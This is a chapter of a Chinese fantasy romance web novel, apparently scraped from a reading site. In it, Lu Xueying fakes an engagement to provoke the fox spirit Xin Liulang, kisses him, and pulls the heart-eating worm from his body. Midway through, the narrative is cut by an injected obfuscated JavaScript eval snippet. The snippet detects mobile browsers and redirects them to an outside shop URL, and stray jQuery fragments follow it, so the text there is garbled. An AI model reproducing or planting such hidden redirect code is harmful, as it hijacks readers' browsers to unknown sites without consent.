25. 一个吻

作品:《请陆大人明鉴

    “陆大人,”李班头嚼着面脆油香的炊饼,一边说,“眼下大伙儿都好全了,徐大人也回来了,您也该好好休息了。”


    陆学盈没应声。


    治疗噬心虫的方子迅速见效,不出两日,染了病的老百姓陆续从军营回了城里,各家各户也没有再出现感染。徐远青终于露面,火速上书朝廷称疫情已平,字里行间不忘给自己添几笔功劳。


    陆学盈已经三天未曾合眼,此刻却还伏在案上,一笔一画抄录着此次虫害的始末和防治之法。


    写完最后一个字,陆学盈才伸了个长长的懒腰,端起手边已经冻冰冰的茶一口气喝光,站起身来。


    “我去看看辛公子。”她说这,朝辛六郎被暂时安置的厢房走去。


    推开门,只见辛六郎抱膝坐在床上,怔怔地望着桌上那盏油灯。


    虽已解了锁妖绳,她仍在床间布了隐帐,不让他到处走动。


    此刻承州城里唯一一只噬心虫,就在他体内。


    陆学盈走了进去,斟了一杯热茶递给他。


    他伸手接过,面无表情地喝下,随手便把杯子搁在一旁。


    她无奈地将杯子拿起来,转身在茶案前坐下。


    “也该到了吧……”她自顾自呢喃道,用手腕撑着额角,感觉到困意渐渐袭来。


    不知过了多久,陆学盈忽然感觉到肩背暖暖的,便睁开眼睛,只见李以诺站在面前,正朝着自己笑眯眯地说:“醒啦?”


    他脸上已经恢复了血色,浓眉下那双仿佛用刻刀雕琢的眼睛,也重新有了光彩。


    陆学盈点点头,对他眨了眨眼,顺手将他刚刚给自己盖的毛毯往身上拢紧了些。


    李以诺伸手,将她被压在毯下的长发轻轻拨了出来,才在她对面坐下。


    “你身体刚好,怎么就跑衙门里来了?”陆学盈托着腮,侧过头看他。


    “有件要紧的事找你呢。”李以诺唇角含笑,眼神却有些肃然。


    他回头忘了一眼仍在床榻上发呆的辛六郎,小声问道:“辛公子……还是老样子?”


    “药也服了,可还是没有什么起色。”陆学盈顺着他的目光也看了辛六郎一眼,“有什么要紧的事?”


    “我今天来,是想……”李以诺从怀里取出一只玉佩,色泽温润,隐有光辉,“是想……向你提亲。”


    他将玉佩递到陆学盈面前,目光温柔似水:“这几天城中事情杂乱,我来不及准备。这是圣上赐给我的古玉,你先收着。等城中安定,我必三媒六聘,一样不缺。”


    陆学盈迎着他灼灼的目光,又低头看了看那枚玉佩,只是抿唇笑了笑,脸上难得露出了一丝羞态。


    静了片刻,她伸手接过玉佩,抬眼望进李以诺认真的眼中,又侧过头笑道:“当着辛公子的面,你也不嫌害臊。”


    “真心话,何来害臊?”他脸上的笑容还在,可眼里的光却瞬间黯淡了下去。


    “那你打算……什么时候娶我?”陆学盈抚摸着玉佩上的云纹,低声问道。


    李以诺腾地一声站了起来,又惊又喜:“学盈,你……你真的愿意嫁我?”


    她抬起头,给了他一个大大的微笑:“我答应你!”


    李以诺高兴得不知如何是好,几步上前,一把将她拥入怀中。


    陆学盈心口砰砰直跳,也顺势站了起来,将头埋在他怀中,就算隔着轻甲,也能够清晰地听到他胸膛下鼓点般的心跳。


    她的脸上悄悄笼上了一层淡淡的忧色。


    李以诺紧紧地抱着陆学盈,久久不愿放手。


    陆学盈不知道的是,她拥着的这个从小无父无母的男子,这么多年来,唯一的温暖和惦念,便是她自己。


    戍边岁月,白天满目黄沙,烈日灼目,夜深风凉水冷,孤月难鸣。


    支撑着他一路从尸山血海里走过来,从悬崖峭壁爬回来的,不过是在承州城中的那段鲜亮温暖的旧时光。


    那个总束起头发,一蹦一跳地缠着自己过招,输赢都笑得如春光般明媚的女子,是他灰暗混沌中唯一的光。


    他闭上眼睛,眷恋地抱得更紧一些,却在心底长长叹了一声。


    他只希望,怀中这个人,能够一直笑得开怀,笑得眉眼弯弯、无忧无虑。


    哪怕这笑容,全是为了别人。


    房内很暖,但李以诺浑身冰凉,回忆和现实交织而成的鞭子,正一下一下,无声痛打着自己。


    陆学盈从他臂弯的间隙,偷偷观察着辛六郎的表情。


    他目光涣散地看着眼前相拥的两个人,脸上一丝波澜也无。


    她心里咯噔一下。难道她和李以诺都猜错了,这狐狸对她根本无意……


    陆学盈轻轻挣开李以诺,对他摇了摇头,用口型说道:“没用。”


    他会意,缓缓松开了手。


    “还说什么看得出他喜欢我呢。”陆学盈把李以诺送出府衙大门外,勉强地哈哈笑着,“辛公子对我压根不是那回事,往后你可不要胡说了。”


    “嗯,好。”李以诺垂着眼睛,出神地应了一声。


    “无论如何,谢谢你陪我演这场戏。”陆学盈将玉佩递给他,语气多了几分温柔,“也谢谢你……这么包容我的自私。”


    “若还有别的法子,需要我的时候,就来找我。”李以诺的目光重新落回陆学盈脸上,“我说过,刀山火海,我都会跟你一起。”


    陆学盈笑了:“多谢你,以诺。”


    走回厢房的路上,陆学盈越想越恼,气不打一处来,抱着自己的脑袋使劲晃了好几下。


    陆学盈!你居然真的以为辛六郎喜欢自己!还拉着李以诺陪你演这一出!脸都丢尽了!


    她越想越气,进了屋便直冲辛六郎而去。


    她一把捏住他的下巴,两弯柳叶眉怒成了剑鞘,瞪着他说:“你到底喜不喜欢我?”


    辛六郎木然望着她,眼里空空茫茫,一片虚无。


    陆学盈气得白眼都要翻上天了,胸膛起伏,连呼吸都重了。


    屋内油灯静静燃着,灯花忽然一闪,在辛六郎眼底映出两点影影绰绰的微光。


    四下寂静,连窗外的风声也停了。


    仿佛一切都在等一个答案。


    陆学盈往前探出身子,嘴唇轻轻印在辛六郎的唇上。


    她眼睫乱颤,方寸大乱,整个脑袋里都是自己心跳的回音。


    扑咚、扑咚……


    有什么轻轻攀上了她的手臂。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070158|194522||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    是辛六郎的手,缓缓搂住了她。


    陆学盈往后踉跄了半步,慌忙抬眼看他。


    只见他从耳根到鼻尖,整张脸烧得通红,像床帘上绣着的那朵海棠花。


    ……有反应了?


    陆学盈立即闭上眼睛,集中稳住心神,调起灵力。


    她掌心一起一落,将灵力尽数灌入辛六郎额间。


    “学盈,情引之术凶险万分。”师尊的叮咛犹在耳边,“你若施术,便要承受对方所有的阴晦的心绪。一旦你承担不住,连你自己的情绪也会被吸走。”


    陆学盈忽然觉得自己堕入了一片无人之境。


    四周什么也没有,只能听见孩童零碎飘荡的欢声笑语。


    顷刻之间,笑声化成了尖叫,似乎有什么正在往她头上砸下来。


    眼前喷溅过来一道道血光,她想抬手去挡,却发现自己动弹不得。


    陆学盈知道,自己现在已经走进了辛六郎情绪的至深暗处。


    被噬心虫放大扭曲的阴暗情绪,正铺天盖地朝她倾泻而来。


    千万要稳住。她对自己说。


    她用尽全力,将自己记忆中一片片美好的回忆捡拾起来。


    第一次随父亲赶集,人声鼎沸中,她指着小贩手里的糖葫芦,父亲便笑着买下,递到她手中,那串红红的山楂果,在太阳下闪闪发光。


    父亲握着她的手,一笔一画教着怎么写自己的名字,“盈”字最后一横,一定要拉得长长的,稳稳的。


    十八岁生辰时,师尊将那支火锻金造的史官笔,郑重交到她手中,从此以后,这支笔,她再也没有离身。


    ……


    光点汇聚,照亮前面的路。


    有一个白衣的人,轻轻摇着纸扇。


    “陆大人……”他轻轻唤着她。


    陆学盈猛地睁开眼,因为自己硬生生扛住所有冲击,她胸口一甜,唇角已溢出血痕。


    她能感觉到自己的灵力将竭,传送灵流的桥带开始出现闪痕。


    她对面的辛六郎双目紧闭,眉头死死拧在一起,脖子、额头上青筋浮现。


    他整个身子像风中残叶一般剧烈地抖震,仿佛下一刻便要被体内那股强烈的力量撕碎。


    陆学盈急忙喊道:“辛六郎!快醒醒!”


    他额中一点光芒忽然大盛,一道扭曲的银线挣扎着钻出了半截。


    她眼神一定,立即伸出手,死死攥住那截丝线。


    辛六郎发出了一声撕心裂肺般的惨叫,猛地呛咳不已,呕出一大口鲜红的血。


    陆学盈看得心头一抽,却知道此刻绝对不能手软。她把心一横,将残存的灵力注于右手,用力将整条银线生生拔出,迅速封入金叵罗中。


    噬心虫离体的刹那,两个人同时力竭倒下。


    辛六郎睁开眼,第一眼看到的,便是陆学盈惨白的脸,以及她唇边刺目的猩红血痕。


    他还不知道发生了什么,只感觉到剧烈的头痛和身上的闷痛。


    他颤抖着伸出手,抚上陆学盈的脸,想要抹去那片血迹。


    他的声音沙哑:“你……你怎么受伤了?”


    陆学盈摇摇头,想笑,却眼前一黑,晕倒在他怀里。